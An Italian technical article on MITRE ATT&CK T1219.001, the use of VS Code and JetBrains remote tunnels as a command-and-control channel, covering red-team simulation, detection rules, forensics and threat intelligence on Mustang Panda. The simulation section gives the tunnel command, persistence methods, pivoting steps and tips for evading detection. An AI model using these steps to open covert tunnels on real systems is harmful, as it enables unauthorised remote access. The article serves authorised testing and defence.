Tunnel IDE: IDE Tunneling (T1219.001)

In un esercizio red team autorizzato, la simulazione di T1219.001 richiede pochi passaggi ma offre un canale C2 estremamente pulito. Il tool primario è Visual Studio Code (gratuito) nella sua distribuzione CLI, disponibile come binario standalone senza necessità di installare l'IDE completo. Su un host Windows compromesso l'operatore scarica il CLI ufficiale e lancia:

code tunnel --accept-server-license-terms --name redteam-host01

Al primo avvio il processo stampa un codice di device flow e chiede autenticazione via GitHub o Microsoft account. Una volta completato il login da qualsiasi browser esterno, l'URL restituito (nella forma nome-tunnel.tunnels.api.visualstudio.com oppure attraverso vscode.dev) fornisce accesso completo al filesystem, terminale integrato e possibilità di port forward verso servizi interni.

Per garantire persistenza, il flag --install-as-service installa il tunnel come servizio Windows che si riavvia automaticamente. Su Linux la stessa CLI è disponibile come tarball; il comando è identico e la persistenza si ottiene con una unit systemd utente, oppure con una voce crontab @reboot. Su macOS un LaunchAgent in ~/Library/LaunchAgents/ con chiave RunAtLoad raggiunge lo stesso obiettivo.

La variante JetBrains Gateway (freemium) richiede installazione dell'agent remote-dev-server.sh sul target e apertura di una sessione dal client dell'operatore; il canale sfrutta SSH ma con handshake e keepalive proprietari.

Catena d'attacco tipica in un lab:

• Initial access tramite phishing con LNK o macro (fuori scope per questa tecnica)
• Download del CLI di VS Code in %LOCALAPPDATA% o ~/.local/bin per evitare directory di sistema
• Esecuzione di code tunnel user login --provider github con token PAT preparato in laboratorio
• Avvio del tunnel con nome host anonimo
• Uso del port forwarding integrato per pivotare verso RDP, SMB o servizi applicativi interni

Per misurare la detection capacity del blue team, l'operatore dovrebbe variare: il path di installazione del binario, il nome del tunnel (evitando parole ovvie), l'account di autenticazione (usando identità GitHub non collegate al red team), e l'orario di attivazione. È utile anche testare la variante code serve-web che espone l'editor via browser senza necessità di client desktop.

Strumenti di supporto per la fase di validazione includono Wireshark (open source) per confermare la destinazione delle connessioni TLS e Sysmon (gratuito) sul target per verificare quali eventi il red team stia effettivamente generando.

La detection di T1219.001 si fonda sull'osservazione congiunta di tre segnali: creazione di artefatti di configurazione del tunnel, esecuzione della CLI dell'IDE con flag specifici, e traffico in uscita verso domini di tunneling. La detection DET0133 in MITRE ATT&CK propone analitiche dedicate per Windows (AN0375), Linux (AN0376) e macOS (AN0377), tutte basate su correlazione temporale tra creazione del profilo tunnel e apparizione di flusso di rete persistente.

Su Windows la fonte primaria è Sysmon (gratuito) con configurazione che copra almeno EventID 1 (process creation), 3 (network connect), 11 (file create) e 13 (registry). Le regole di rilevamento dovrebbero cercare:

• Processi code.exe o code-tunnel.exe con command line contenente tunnel, serve-web o --install-as-service
• Creazione file in *%USERPROFILE%.vscode\cli* o *%LOCALAPPDATA%\Programs\Microsoft VS Code*
• Connessioni TCP 443 verso *.devtunnels.ms, *.tunnels.api.visualstudio.com, global.rel.tunnels.api.visualstudio.com
• Registrazione di servizi Windows con nome contenente tunnel o code

Su Linux, auditd con regole SYSCALL su execve e openat consente di intercettare l'esecuzione della CLI e la scrittura del file ~/.vscode-cli/code_tunnel.json, artefatto discriminante indicato in AN0376. Su macOS il feed unifiedlog (nativo, gratuito) filtrato per subsystem com.apple.securityd e per processi code fornisce visibilità equivalente; l'osservazione dei LaunchAgent in ~/Library/LaunchAgents/ completa il quadro persistenza.

La telemetria di rete (NSM:Flow) è essenziale: connessioni TLS di lunga durata (ore o giorni) verso ASN Microsoft o GitHub, con basso volume ma keepalive regolari ogni 30-60 secondi, rappresentano il pattern comportamentale distintivo. Piattaforme come Zeek (open source) o Suricata (open source) con JA3/JA4 fingerprinting aiutano a distinguere client VS Code da traffico HTTPS generico.

I falsi positivi sono la sfida principale, perché in ambienti dove lo sviluppo remoto è legittimo il traffico appare identico. Il tuning suggerito da ATT&CK prevede tre parametri chiave: AuthorizedUserList (elenco di sviluppatori autorizzati a usare tunnel), TunnelDomainPatterns (aggiornabile al variare delle versioni IDE) e TimeWindow per la correlazione tra creazione profilo e primo flusso in uscita.

Contromisura preventiva coerente con la mitigazione M1038 (Execution Prevention): policy AppLocker o Windows Defender Application Control (nativo, gratuito) che vietino l'esecuzione di code.exe al di fuori dei path di installazione MSI ufficiali, oppure blocco completo del binario su host non appartenenti al gruppo Developers. Le Group Policy Microsoft per Dev Tunnels consentono di restringere l'uso ai soli tenant Entra approvati, disabilitando il flow anonimo.

L'analisi post-incidente di un caso T1219.001 su Windows parte dalla ricerca degli artefatti CLI di Visual Studio Code. Il binario code-tunnel.exe o la directory .vscode\cli nel profilo utente contengono i file code_tunnel.json e token.json, quest'ultimo con il refresh token dell'account GitHub o Microsoft usato per l'autenticazione. La presenza di questi file in un profilo utente che non appartiene a uno sviluppatore è di per sé un forte indicatore.

La timeline si ricostruisce combinando più fonti. Il Prefetch in C:\Windows\Prefetch\CODE-TUNNEL.EXE-.pf* fornisce timestamp di prima e ultima esecuzione. Gli AmCache e ShimCache confermano l'esecuzione anche in caso di cancellazione del binario. Il registro HKCU\Software\Microsoft\Windows\CurrentVersion\Run o il Task Scheduler possono contenere voci di persistenza. Se il tunnel è stato installato come servizio, la chiave *HKLM\SYSTEM\CurrentControlSet\Services* mostra l'entry corrispondente con path del binario, spesso in directory utente anziché in Program Files.

Gli Event Log Windows utili sono Security 4688 (process creation, se abilitato), Sysmon 1 e 3, e System 7045 per l'installazione di servizi. Il log Microsoft-Windows-TerminalServices-LocalSessionManager/Operational raramente si popola perché il tunnel non usa RDP, ma va comunque escluso per completezza. Le connessioni in uscita vanno correlate con log firewall e proxy per estrarre gli FQDN dei tunnel endpoint contattati.

Su Linux, gli artefatti chiave risiedono in ~/.vscode-cli/ e ~/.vscode-server/. Il file code_tunnel.json contiene il nome del tunnel e le credenziali cifrate. I log di auditd filtrati per comm=code o comm=code-tunnel ricostruiscono la sequenza execve. La persistenza va cercata in unit systemd utente sotto ~/.config/systemd/user/, in crontab (crontab -l per utente e /etc/cron./*), e in .bashrc o .profile. Il bash history dell'utente compromesso fornisce spesso conferma diretta dei comandi impartiti dall'attaccante nella shell interattiva del tunnel.

Su macOS l'attenzione va ai LaunchAgent in ~/Library/LaunchAgents/ e LaunchDaemon in /Library/LaunchDaemons/, cercando plist con ProgramArguments che invochino code con argomento tunnel. Il unified log interrogato con log show --predicate 'process == "code"' --last 7d estrae attività degli ultimi sette giorni.

Per l'unica campagna documentata, Mustang Panda (G0129) ha impiegato code.exe tunnel con un account GitHub preparato in anticipo per stabilire un tunnel dentro l'ambiente vittima. Il tracciamento dell'account GitHub attraverso richieste legali al provider costituisce spesso l'unica pista di attribuzione utilizzabile, poiché lato host non restano IP di C2 tradizionali ma solo endpoint Microsoft legittimi.

L'adozione di T1219.001 come tecnica di C2 rappresenta una evoluzione naturale nel filone del living off trusted services, dove gli attori sfruttano infrastruttura cloud legittima per aggirare controlli perimetrali e reputazionali. Il vantaggio strategico è duplice: eliminazione del costo infrastrutturale per allestire e mantenere C2 dedicati, e drastica riduzione delle possibilità di takedown, dato che il traffico termina su portali Microsoft o JetBrains.

Il gruppo attualmente documentato in ATT&CK per questa tecnica è Mustang Panda (G0129), attore riconducibile a operazioni di cyber espionage con orientamento agli obiettivi geopolitici della regione indo-pacifica, tradizionalmente attivo contro entità governative, ONG, think tank e minoranze etniche. L'impiego di code.exe tunnel con account GitHub prestabilito indica una maturazione operativa: il gruppo ha integrato nel proprio playbook uno strumento nativamente firmato Microsoft, con reputazione software impeccabile, capace di operare in ambienti dove Cobalt Strike, PlugX o proxy custom verrebbero facilmente intercettati. La scelta di GitHub come identity provider suggerisce anche la capacità di gestire un parco di account fittizi o compromessi, elemento operativo tipico delle campagne di lungo corso.

A livello di trend, la tecnica si inserisce nella tendenza più ampia dell'abuso di sviluppo remoto e cloud tunneling, che comprende anche Cloudflare Tunnel (T1219), ngrok e servizi analoghi. La convergenza tra strumenti di produttività dello sviluppatore e vettori C2 riflette la trasformazione del perimetro: dove un tempo l'attaccante doveva costruirsi infrastruttura, oggi la trova pronta, gratuita, cifrata e tollerata dai firewall aziendali. Questo abbassa la barriera d'ingresso anche per attori meno sofisticati.

Dal punto di vista del threat modeling, i settori a maggior rischio sono quelli con densa presenza di sviluppatori — tecnologia, fintech, difesa, telco, ricerca — dove il traffico verso *.devtunnels.ms o account GitHub è già presente e statisticamente indistinguibile. Ambienti che invece non hanno alcuna ragione operativa di ospitare VS Code o JetBrains dovrebbero considerare T1219.001 un red flag immediato.

Per il threat hunting proattivo si raccomanda di combinare tre lenti analitiche: inventario software per identificare installazioni non autorizzate di CLI VS Code, analisi baseline del traffico DNS verso i domini di tunneling ufficiali, e correlazione con eventi di autenticazione GitHub o Entra ID inconsueti per orario o geografia. La telemetria di Microsoft Defender for Endpoint (a pagamento) e di soluzioni EDR analoghe come CrowdStrike Falcon (a pagamento) o SentinelOne (a pagamento) include già rilevatori per esecuzioni sospette di code tunnel, ma richiede tuning specifico nel contesto aziendale.

Lo scenario di rischio più insidioso è l'uso di macchine di sviluppatori legittimi come jump host verso segmenti interni sensibili, sfruttando privilegi di rete che il developer ha per necessità operativa e che l'attaccante eredita transitivamente attraverso il tunnel.

MITRE ATT&CK: T1219.001 (IDE Tunneling), tattica TA0011. Gruppo citato: G0129 (Mustang Panda). Mitigazione M1038 (Execution Prevention). Detection DET0133 con analitiche AN0375 (Windows), AN0376 (Linux), AN0377 (macOS). MITRE D3FEND per mapping difensivi. Parti operative su comandi, path di installazione e tecniche di persistenza derivano da conoscenza professionale di cybersecurity dell'autore, riferita a documentazione ufficiale Microsoft Visual Studio Code, JetBrains Gateway, Sysmon e auditd.